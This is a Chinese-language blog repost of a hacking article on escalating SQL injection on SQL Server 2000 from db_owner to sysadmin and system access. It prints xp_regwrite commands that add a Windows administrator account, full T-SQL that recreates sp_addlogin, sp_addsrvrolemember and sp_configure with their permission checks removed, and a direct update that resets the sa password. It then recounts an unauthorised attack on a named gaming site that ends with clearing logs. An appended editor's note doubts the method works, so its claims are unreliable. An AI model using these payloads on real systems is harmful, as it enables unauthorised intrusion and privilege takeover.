sql injection終極利用方法

穩萊

作者:許文強(xwq),QQ:57133683 http://www.powers.com.cn/

————只要給我一個注射點,無論什麼權限,我都給你一個webshell甚至系統權限

聲明:本文僅用於教學目的,如果因為本文造成的攻擊後果本人概不負責。因為

發覺其危害過大,原文已經經過大量刪減及修改,即使這樣本文的危害性仍然很

大,所以請大家不要對國內的站點做任何具有破壞性的操作。


 考慮再三,偶還是決定發出來。此招手段歹毒,利用範圍廣泛,可以說是只要是

有sql注射漏洞的網站,只要運用此法99%可以拿到webshell甚至系統權限(不敢

把話說滿,呵呵,經本人數百次真實"實戰演習",基本上是100%可以拿到

webshell甚至系統權限)。
     記得我在《MSSQL db_owner角色注入直接獲得系統權限(續)》中寫過一種

利用xp_regwrite來取得系統權限的方法:xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','x

wq1','REG_SZ','net user xwq xwq /add'
xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','x

wq2','REG_SZ','net localgroup administrators xwq /add',只要讓網站所在

的服務器重起,就能得到系統權限。經過本人的數百次的真實實驗,這種方法不

太實用,很容易引起網管的注意,再說ddos也是違法的事(偶可是好人啊),發

動一場ddos要花費的大量的人力,物力(看你的肉雞多少拉)。所以不太可行(

除非是你十分想要搞定的網站)。

       呵呵,哆嗦拉那麼多,你可能看的已經不耐煩拉,好,這就介紹我的三大

必殺技之一————萬能提權。

      假如一個網站存在sql注射漏洞,如果這個網站是用固定服務器sysadmin權

限的用戶作的連接(呵呵,通俗點說就是sa,菜鳥可以這樣認為),呵呵,想要拿

到一個webshell或者是系統權限可以說是易如反掌,輕而易舉的事,據我所知,

sysadmin權限要拿到webshell或者系統權限不下10種,呵呵,可能更多吧(偶只

會10種),sysadmin怎麼拿到webshell或者系統權限,我不想多說,想比大家都

已經爛熟於心拉,可是要是一個網站是db_owner權限呢?你怎麼辦,你怎麼拿系

統權限,怎麼拿webshell(沒有上傳漏洞和數據庫備份等功能),大家可能回說

backup a shell,我記得LCX也在《MSSQL db_owner角色注入直接獲得系統權限》

裡說過拉"備份得到的shell只是理論化的東東,如果一個webshell有20mb的話,

你還能用它嗎?"呵呵,要是我告訴你db_owner拿到一個webshell或者是系統權

限的方法和sysadmin權限的一樣多,你回有什麼反映,是不是覺得有點不可思議

,或者又是我胡說呢?(不相信的朋友,下面的內容就不要看拉)

     呵呵,是不是看的心癢癢拉,迫不及待的想知道啊,好,我不在廢話拉,這

就把我的三大必殺技之一————萬能提升權限方法告訴大家。

     在告訴大家之前,我們先做個實驗

     實驗環境windowsxp sp1+SQL 2000 sp3,大家跟著我來step to step,首先新

建一個具有db_owner的權限的用戶,這裡我是xwq(就是在服務器角色裡面什麼都

不要選,在數據庫角色裡面鉤上db_owner),好,現在我們打開查詢分析器用xwq

連上後再裡面輸入sp_addlogin xuwenqiang,執行看看,出現拉什麼?


服務器: 消息 2571,級別 14,狀態 2,過程 sp_addlogin,行 16
用戶 'xwq' 沒有運行 DBCC auditevent 的權限。

服務器: 消息 15247,級別 16,狀態 1,過程 sp_addlogin,行 17
用戶沒有執行此操作的權限。


 呵呵,出現上面的錯誤信息這很正常,因為只有sysadmin 和 securityadmin 固

定服務器角色的成員才可以執行 sp_addlogin,那麼怎麼才好讓sp_addlogin為我

所用呢?我們在這裡看一下sp_addlogin的代碼:
create procedure sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb            sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call

    -- CHECK PERMISSIONS --
 IF (not is_srvrolemember('securityadmin') = 1)
 begin
    dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
    raiserror(15247,-1,-1)
    return (1)
 end
 ELSE
 begin
    dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
 end

    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
 end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

 --Note: different case sa is allowed.
 if (@loginame = 'sa' or lower(@loginame) in ('public'))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname =

@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end

 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end

 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
 end

 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end

 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = 'skip_encryption_old'
 begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt <> 'skip_encryption'
 begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
 end

    -- ATTEMPT THE Insert OF THE NEW LOGIN --
 Insert INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

 -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服務器角色的成員才可以執行

sp_addlogin,主要是這裡一段再搞鬼
    -- CHECK PERMISSIONS --
 IF (not is_srvrolemember('securityadmin') = 1)
 begin
    dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
    raiserror(15247,-1,-1)
    return (1)
 end
 ELSE
 begin
    dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
 end


只要我們把這段代碼刪拉,任何權限的用戶都可以增加用戶拉。
好,我們先把sp_addlogin刪拉

drop procedure sp_addlogin


然後再來恢復sp_addlogin


create procedure sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb            sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call
   
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
 end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

 --Note: different case sa is allowed.
 if (@loginame = 'sa' or lower(@loginame) in ('public'))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname =

@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end

 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end

 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
 end

 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end

 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = 'skip_encryption_old'
 begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt <> 'skip_encryption'
 begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
 end

    -- ATTEMPT THE Insert OF THE NEW LOGIN --
 Insert INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

 -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin

GO


這樣我這個只具有db_owner權限的xwq就可以任意增加用戶拉,ok,在查詢分析器

裡面在輸入sp_addlogin xuwenqiang,執行看看,GOOD!返回已創建新登錄。
我新建拉一個用戶xuwenqiang,當然這個用戶我可不是白建的,我要把他變成具

有最高權限的用戶,在sql中具有最高權限的當然是sysadmin拉,而把一個用戶變

成sysadmin只有sp_addsrvrolemember這個存儲過程拉,可是只有sysadmin權限的

用戶才好使用,不爽,偶要讓他為我所用,呵呵,聰明的讀者一定想到拉我怎麼

讓只具有db_owner權限的我,怎麼使用sp_addsrvrolemember拉,沒錯,和讓

sp_addlogin為我所用的方法一樣,只要去掉sp_addsrvrolemember中權限限制的

一段,我們就可以任意增加sysadmin拉,我們先看看sp_addsrvrolemember的代碼

:create procedure sp_addsrvrolemember
    @loginame sysname,   -- login name
    @rolename sysname = NULL -- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 declare @ret        int,    -- return value of sp call
             @rolebit    smallint,
             @ismem      int

    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addsrvrolemember')
  return (1)
 end

    -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
    select @ismem = is_srvrolemember(@rolename)
    if @ismem is null
    begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
        raiserror(15402, -1, -1, @rolename)
        return (1)
    end
    if @ismem = 0
 begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
  raiserror(15247,-1,-1)
  return (1)
 end

 -- AUDIT A SUCCESSFUL SECURITY CHECK --
 dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

    -- CANNOT CHANGE SA ROLES --
    if @loginame = 'sa'
    begin
        raiserror(15405, -1 ,-1, @loginame)
        return (1)
    end

    -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
             WHEN 'sysadmin'         THEN 16
             WHEN 'securityadmin'    THEN 32
             WHEN 'serveradmin'      THEN 64
             WHEN 'setupadmin'       THEN 128
             WHEN 'processadmin'     THEN 256
             WHEN 'diskadmin'        THEN 512
             WHEN 'dbcreator'        THEN 1024
   WHEN 'bulkadmin'  THEN 4096
             ELSE NULL END

    -- ADD ROW FOR NT LOGIN IF NEEDED --
 if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
    begin
        execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
     begin
      raiserror(15007,-1,-1,@loginame)
      return (1)
     end
    end

    -- Update ROLE MEMBERSHIP --
    update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
     where name = @loginame and srvid IS NULL

 -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

 raiserror(15488,-1,-1,@loginame,@rolename)

    -- FINALIZATION: RETURN SUCCESS/FAILURE
 return (@@error) -- sp_addsrvrolemember

GO

 

把這一段刪除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
    select @ismem = is_srvrolemember(@rolename)
    if @ismem is null
    begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
        raiserror(15402, -1, -1, @rolename)
        return (1)
    end
    if @ismem = 0
 begin
  dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
  raiserror(15247,-1,-1)
  return (1)
 end


這樣我們就可以任意增加sysadmin拉,呵呵,爽啊。在查詢分析器裡輸入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到這裡我們就

成功利用拉一個只具有db_owner權限的用戶新建拉一個在SQL中具有至高無上權限

,也就是具有sysadmin權限的用戶xuwenqiang,有拉sysadmin權限想要webshell或

者系統權限還不容易麼!不要只把眼睛只放在我所說的sp_addlogin和

sp_addsrvrolemember這兩個存儲過程上,凡是只有sysadmin才好使用的存儲過程

,利用我的萬能提權必殺技,我們都可以使用。比如:sp-

configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很

多只好sysadmin權限能利用的,我們都可以讓他們為我所用。

下面再舉一個萬能提權的例子

和我一起打造一個永遠不會被殺及完美的後門

我們都知道在sql中有個被黑客稱為後門的用戶,那就是sa,sa 是內置的管理員

登錄,而且不能進行更改和刪除。呵呵,這是M$說的,要是你看過我寫的另外一

篇文章《完全刪除sa這個後門》就知道,其實sa也是好刪除的。我們知道在sql可

以改密碼的存儲過程有sp_password,可是我們必須知道要改的用戶的舊密碼,才

可以更改,那麼有沒有辦法再不知道舊密碼的情況下更改sa的密碼呢?有,其實

也就是利用sp_configure,sp_configure的功能是顯示或更改當前服務器的全局配

置設置。sp_configure(用於更改配置選項)的執行許可權限默認授予 sysadmin

和 serveradmin 固定服務器角色。這很容易只要把sp_configure中檢查權限的一

段刪除,再重建,我們就好用拉。
Create PROCEDURE sp_configure  --- 1996/08/14 09:43

    @configname   varchar(35) = NULL   -- option name to configure
   ,@configvalue  int         = NULL   -- new configuration value
as

set nocount on

declare
    @confignum                  int   --Num of the opt to be configured
   ,@configcount                int   --Num of options like @configname
   ,@show_advance               int   --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)
declare @prevvalue   int
/*
**  Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
   select @show_advance = 1   -- Display advanced options
else
   select @show_advance = 0   -- Don't display advanced options

/*
**  Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and

type='C')
   <> @@max_connections

   update master.dbo.spt_values
      set high = @@max_connections
      where number = 103
         and type='C'

/*
**  If no option name is given, the procedure will just print out all

the
**  options and their values.
*/
if @configname is NULL
   begin
      select name, minimum = low, maximum = high,
         config_value = c.value,
         run_value = master.dbo.syscurconfigs.value
      from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
      where type = 'C'
         and number = c.config
         and number = master.dbo.syscurconfigs.config

         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                   or
               (c.status & 2  = 0)
              )
      order by lower(name)

      return (0)
   end

/*
**  Use @configname and try to find the right option.
**  If there isn't just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)
   from master.dbo.spt_values v ,master.dbo.sysconfigures c
   where v.name like '%' + @configname + '%' and v.type = 'C'
      and v.number = c.config
      and
             ((c.status & 2 <> 0 and @show_advance = 1)
                   or
              (c.status & 2  = 0)
             )

/*
**  If no option, show the user what the options are.
*/
if @configcount = 0
   begin
      raiserror (15123,-1,-1,@configname)

      print ' '
      raiserror (15456,-1,-1)

      /*
      ** Show the user what the options are.
      */
      select name, minimum = low, maximum = high,
         config_value = c.value,
         run_value = master.dbo.syscurconfigs.value
      from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
      where type = 'C'
         and number = c.config
         and number = master.dbo.syscurconfigs.config

         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    or
               (c.status & 2  = 0)
              )

      return (1)
   end

/*
**  If more than one option like @configname, show the duplicates and

return.
*/
if @configcount > 1
   begin
      raiserror (15124,-1,-1,@configname)
      print ' '

      select duplicate_options = name
      from master.dbo.spt_values,master.dbo.sysconfigures c
      where name like '%' + @configname + '%'
         and type = 'C'
         and number = c.config
         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    or
               (c.status & 2  = 0)
              )

      return (1)
   end
else
   /* There must be exactly one, so get the full name. */
   select @configname = name --,@value_in_sysconfigures = c.value
      from master.dbo.spt_values,master.dbo.sysconfigures c
      where name like '%' + @configname + '%' and type = 'C'
         and number = c.config
         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    or
               (c.status & 2  = 0)
              )

/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin

   select       v.name
                ,v.low   as 'minimum'
                ,v.high  as 'maximum'
                ,c.value as 'config_value'
                ,u.value as 'run_value'
         from
                 master.dbo.spt_values     v  left outer join
                 master.dbo.sysconfigures  c  on v.number = c.config
                                                 left outer join
                 master.dbo.syscurconfigs  u  on v.number = u.config
         where
                 v.type = 'C  '
         and    v.name like '%' + @configname + '%'
         and
                ((c.status & 2 <> 0 and @show_advance = 1)
                       or
                 (c.status & 2  = 0)
                )

   return (0)
end

/*
**  Now get the configuration number.
*/
select @confignum = number
   from master.dbo.spt_values,master.dbo.sysconfigures c
   where type = 'C'
      and (@configvalue between low and high or @configvalue = 0)
      and name like '%' + @configname + '%'
      and number = c.config
      and
             ((c.status & 2 <> 0 and @show_advance = 1)
                   or
              (c.status & 2  = 0)
             )

/*
**  If this is the number of default language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
   begin
   if not exists (select * from master.dbo.syslanguages
         where langid = @configvalue)
      begin
         /* 0 is default language, us_english */
         if @configvalue <> 0
             begin
                raiserror(15127,-1,-1)
                return (1)
             end
      end
   end

/*
**  If this is the number of kernel language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
   begin
   if not exists (select * from master.dbo.syslanguages
         where langid = @configvalue)
      begin
         /* 0 is default language, us_english */
         if @configvalue <> 0
             begin
                raiserror(15028,-1,-1)
                return (1)
             end
      end
   end

/*
**  "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534  --"user options"
   begin

   if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off
      begin
      raiserror(15303,-1,-1,@configvalue)
      return (1)
      end
   end

/*
**  Although the @configname is good, @configvalue wasn't in range.
*/
if @confignum is NULL
   begin
   raiserror(15129,-1,-1,@configvalue,@configname)
   return (1)
   end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*
**  Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
   where config = @confignum

/*
** Flush the procedure cache - this is to account for options which

become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO

 

ok,我們再
sp_configure 'allow updates',1
go
RECONFIGURE WITH OVERRIDE
go

好拉這樣我們才好更改sa的密碼。接著update sysxlogins set

password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C

BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改

成拉111111拉。呵呵,解決的方法就是把sa給刪拉。,怎麼刪可以參考我的《完

全刪除sa這個後門》。

 

實例:
     下面對一個國內非常出名的站點進行善意的攻擊測試,來對上面的知識進行

一次大概的驗證,出於影響等諸多因素,我們稱這個站點為www.**173.com

www.**173.com這個站點在遊戲上很有名氣,排名在前20名(我當時測試的時候)

,在這裡我不想說我怎麼找到的注射點,大家還可以找找,還是滿多的(整個測

試可真花費拉我不少時間,別誤會,我不是說時間花在"檢測"上,而是都放在

寫程序裡面拉,不寫個像樣點的程序,怎麼讓我為所欲為呢?整個攻擊只有10分

鐘不到)。
    在找到的注射點gametype=**(鬱悶,要是當時測試的時候有nbsi2,偶可能

要輕鬆不少),先輸入drop procedure sp_addlogin,然後在IE裡面輸入(呵呵,

我當然是在我寫的程序裡面輸入拉)
create procedure  sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb            sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call
   
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
 end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

 --Note: different case sa is allowed.
 if (@loginame = 'sa' or lower(@loginame) in ('public'))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname =

@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end

 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end

 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
 end

 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end

 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = 'skip_encryption_old'
 begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt <> 'skip_encryption'
 begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
 end

    -- ATTEMPT THE Insert OF THE NEW LOGIN --
 Insert INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

 -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin

GO

OK,我們新建個用戶exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然後在IE裡輸入

 


create procedure sp_addsrvrolemember
    @loginame sysname,   -- login name
    @rolename sysname = NULL -- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 declare @ret        int,    -- return value of sp call
             @rolebit    smallint,
             @ismem      int

    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addsrvrolemember')
  return (1)
 end

   
    -- CANNOT CHANGE SA ROLES --
    if @loginame = 'sa'
    begin
        raiserror(15405, -1 ,-1, @loginame)
        return (1)
    end

    -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
             WHEN 'sysadmin'         THEN 16
             WHEN 'securityadmin'    THEN 32
             WHEN 'serveradmin'      THEN 64
             WHEN 'setupadmin'       THEN 128
             WHEN 'processadmin'     THEN 256
             WHEN 'diskadmin'        THEN 512
             WHEN 'dbcreator'        THEN 1024
   WHEN 'bulkadmin'  THEN 4096
             ELSE NULL END

    -- ADD ROW FOR NT LOGIN IF NEEDED --
 if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
    begin
        execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
     begin
      raiserror(15007,-1,-1,@loginame)
      return (1)
     end
    end

    -- Update ROLE MEMBERSHIP --
    update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
     where name = @loginame and srvid IS NULL

 -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

 raiserror(15488,-1,-1,@loginame,@rolename)

    -- FINALIZATION: RETURN SUCCESS/FAILURE
 return (@@error) -- sp_addsrvrolemember

GO


接著再exec master..sp_addsrvrolemember xwq,sysadmin
我們拿sql綜合利用工具或者查詢分析器連上看看,呵呵,成功拉,這樣我們就在

www.**17173.com的服務器上建拉一個具有最高權限的用戶xwq拉,下面的事我想

大家都應該回做拉吧。呵呵,因為只是安全測試,我並沒有深入下去,刪拉帳號

,清除日誌,閃人。

 

看到拉吧,我的必殺技之一——萬能提權的威力拉吧,只要是給我一個注射點,

無論什麼權限,我都會給你一個webshell甚至系統權限.呵呵,其實說萬能的提升

權限方法的確是有點誇張拉,因為Create PROCEDURE 的權限默認授予 sysadmin

固定服務器角色成員和 db_owner 和 db_ddladmin 固定數據庫角色成員,你要是

碰到Public的權限,那就不好使用拉。

不過不要以為換成public權限,就沒有辦法拿到webshell或者系統權限拉,恰恰相

反,據我所知public權限的用戶拿到webshell甚至系統權限的方法至少也有5種。

最好的防範方法就是杜絕注射漏洞,這才是治標又治本的解決方法。(呵呵,要

是我說,最好連public的權限都不要給,可惜已經沒有比public權限更低的角色

拉,沒辦法誰叫public也可以利用很多有危險的存儲過程呢,而且public無法除

去,看來M$對我們這些"壞人"還是很厚愛的哦)


後記

這篇文章是我自2004年4月份裝上SQL以來利用課餘時間學習研究的,12月初旬寫

完,由於危害太大,我一直都不太敢發佈,相信國內也有人知道的。只是不公開

而已。經過再三考慮還是決定發佈了,希望大家掌握了以後,不要對國內的站點

做任何具有破壞性的操作。

再這篇文章裡我並沒有提到public權限的用戶怎麼拿到webshell或者系統權限,

而據我所知public權限的用戶拿到webshell甚至系統權限的方法至少5種(偶目前

只會5種,可能還有更多的方法,要是哪位高手會更多,希望能不吝賜教,偶先謝

拉),鑒於危害實在太太大,現在還不是公佈這些關鍵技術細節的時候,等到拉

一個適當的時機,我會把我所掌握的知識無私奉獻給大家再重申一次。不要對任何國家的任何合法主機進行破壞,否則後果自負。

(歡迎轉載,請保持文章的完整性)


編者:本著探討的原則,發一下firefox對本文的一點疑問:

首先drop procedure sp_addlogin 沒權限
其次Insert INTO master.dbo.sysxlogins也沒權限,不知道你怎麼執行的儲存過程,儲存過程不過是簡化了操作步驟,沒有你說的那麼神奇,不比擴展儲存過程,利用了dll內置的函數,權限問題你考慮的太輕鬆了


 

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags: SQL
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.